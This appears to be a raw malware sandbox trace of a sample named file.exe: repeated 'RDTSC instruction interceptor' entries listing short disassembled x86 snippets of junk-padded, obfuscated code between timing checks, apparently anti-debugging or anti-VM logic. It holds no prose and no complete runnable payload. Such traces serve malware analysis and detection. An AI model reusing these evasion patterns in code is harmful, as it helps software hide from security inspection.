Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 398F3E second address: 1EEAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 push dword ptr [ebp+122D10FDh] 0x0000000f mov dword ptr [ebp+122D2CE1h], ecx 0x00000015 mov dword ptr [ebp+122D2CE1h], edi 0x0000001b call dword ptr [ebp+122D3608h] 0x00000021 pushad 0x00000022 sub dword ptr [ebp+122D3603h], esi 0x00000028 xor eax, eax 0x0000002a add dword ptr [ebp+122D3603h], edx 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 jmp 00007F1544B5F478h 0x00000039 mov dword ptr [ebp+122D39CBh], eax 0x0000003f jnp 00007F1544B5F467h 0x00000045 cmc 0x00000046 mov esi, 0000003Ch 0x0000004b cld 0x0000004c stc 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 mov dword ptr [ebp+122D3603h], eax 0x00000057 lodsw 0x00000059 pushad 0x0000005a mov si, ax 0x0000005d mov edi, 2CCEAE25h 0x00000062 popad 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 jmp 00007F1544B5F470h 0x0000006c mov ebx, dword ptr [esp+24h] 0x00000070 stc 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 push edi 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3996F0 second address: 399753 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dl, bl 0x0000000a push 0000001Eh 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F15447FC6A8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov edx, 53F5F799h 0x0000002b jmp 00007F15447FC6B7h 0x00000030 nop 0x00000031 jmp 00007F15447FC6AFh 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399753 second address: 399758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399861 second address: 39987C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F15447FC6AAh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jnp 00007F15447FC6A6h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39987C second address: 399881 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399AAF second address: 399B1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F15447FC6A8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 clc 0x00000025 xor dword ptr [ebp+122D3301h], edi 0x0000002b lea eax, dword ptr [ebp+1247D872h] 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F15447FC6A8h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b nop 0x0000004c jmp 00007F15447FC6ADh 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399B1A second address: 399B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399B1F second address: 399B26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399B26 second address: 399BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F1544B5F468h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 pushad 0x00000023 call 00007F1544B5F471h 0x00000028 jmp 00007F1544B5F474h 0x0000002d pop esi 0x0000002e adc dx, A900h 0x00000033 popad 0x00000034 call 00007F1544B5F470h 0x00000039 add dword ptr [ebp+122D2CBDh], eax 0x0000003f pop edx 0x00000040 lea eax, dword ptr [ebp+1247D82Eh] 0x00000046 and edx, 69463360h 0x0000004c nop 0x0000004d je 00007F1544B5F470h 0x00000053 push eax 0x00000054 push edx 0x00000055 push edi 0x00000056 pop edi 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35D591 second address: 35D595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D239D second address: 3D23A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D23A3 second address: 3D23AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D2654 second address: 3D265A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D27B7 second address: 3D27F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F15447FC6A6h 0x0000000a jmp 00007F15447FC6B0h 0x0000000f popad 0x00000010 jmp 00007F15447FC6B7h 0x00000015 popad 0x00000016 push ebx 0x00000017 push edi 0x00000018 pushad 0x00000019 popad 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007F15447FC6A6h 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D27F9 second address: 3D27FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D747E second address: 3D7484 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7484 second address: 3D74A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007F1544B5F466h 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F1544B5F46Dh 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7629 second address: 3D7640 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F15447FC6ADh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7640 second address: 3D7644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7644 second address: 3D764A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7919 second address: 3D7966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F1544B5F466h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F1544B5F472h 0x00000012 jmp 00007F1544B5F478h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1544B5F46Eh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7F62 second address: 3D7F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7F68 second address: 3D7F72 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1544B5F466h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D80EA second address: 3D8108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F15447FC6B2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8253 second address: 3D8257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D83C6 second address: 3D83CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8541 second address: 3D8547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8547 second address: 3D8555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F15447FC6ACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8964 second address: 3D896D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D896D second address: 3D8975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8975 second address: 3D898C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1544B5F466h 0x0000000a jnc 00007F1544B5F466h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D7153 second address: 3D717E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F15447FC6A6h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F15447FC6B7h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F15447FC6A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0391 second address: 3E039B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1544B5F466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E039B second address: 3E039F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2EBD second address: 3E2EDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1544B5F478h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2EDB second address: 3E2EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2EDF second address: 3E2EE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2EE5 second address: 3E2EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2EEE second address: 3E2EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5695 second address: 3E569A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E569A second address: 3E56C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1544B5F472h 0x00000014 pushad 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E56C0 second address: 3E56C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E53D9 second address: 3E53FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1544B5F474h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pushad 0x0000000d js 00007F1544B5F46Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 358548 second address: 35854F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35854F second address: 358554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 358554 second address: 35855A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35855A second address: 358563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 358563 second address: 358580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15447FC6B9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 358580 second address: 358584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 358584 second address: 3585BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15447FC6B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F15447FC6B4h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3585BE second address: 3585C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC821 second address: 3EC825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC825 second address: 3EC829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBC21 second address: 3EBC37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F15447FC6ADh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EBDA6 second address: 3EBDAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC342 second address: 3EC348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC348 second address: 3EC35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1544B5F46Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC35B second address: 3EC36F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC36F second address: 3EC38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1544B5F479h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC38C second address: 3EC390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F23E4 second address: 3F23E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F23E9 second address: 3F240E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6AAh 0x00000007 jmp 00007F15447FC6ACh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007F15447FC6A6h 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F0D8B second address: 3F0D8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F0D8F second address: 3F0D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F15447FC6A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F100A second address: 3F1012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F1012 second address: 3F102D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15447FC6B6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F102D second address: 3F107C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 je 00007F1544B5F46Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1544B5F473h 0x00000015 pushad 0x00000016 jmp 00007F1544B5F475h 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F1544B5F46Bh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F107C second address: 3F1089 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jl 00007F15447FC6A6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F143F second address: 3F144C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F1544B5F466h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F144C second address: 3F1452 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F20CB second address: 3F20E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1544B5F479h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F5396 second address: 3F539C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F539C second address: 3F53A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F53A2 second address: 3F53E1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F15447FC6AEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F15447FC6B2h 0x00000012 jns 00007F15447FC6A6h 0x00000018 je 00007F15447FC6A6h 0x0000001e jmp 00007F15447FC6B9h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35344E second address: 353460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jg 00007F1544B5F466h 0x0000000c popad 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353460 second address: 353475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F15447FC6A6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F15447FC6A6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F4A2D second address: 3F4A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F4A38 second address: 3F4A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F15447FC6A6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F4A4B second address: 3F4A4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F4A4F second address: 3F4A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F503D second address: 3F5072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F1544B5F479h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F1544B5F46Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F5072 second address: 3F5094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F15447FC6B9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F5094 second address: 3F5098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F5098 second address: 3F50A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FAAD1 second address: 3FAAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FAAD5 second address: 3FAAD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FAAD9 second address: 3FAADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
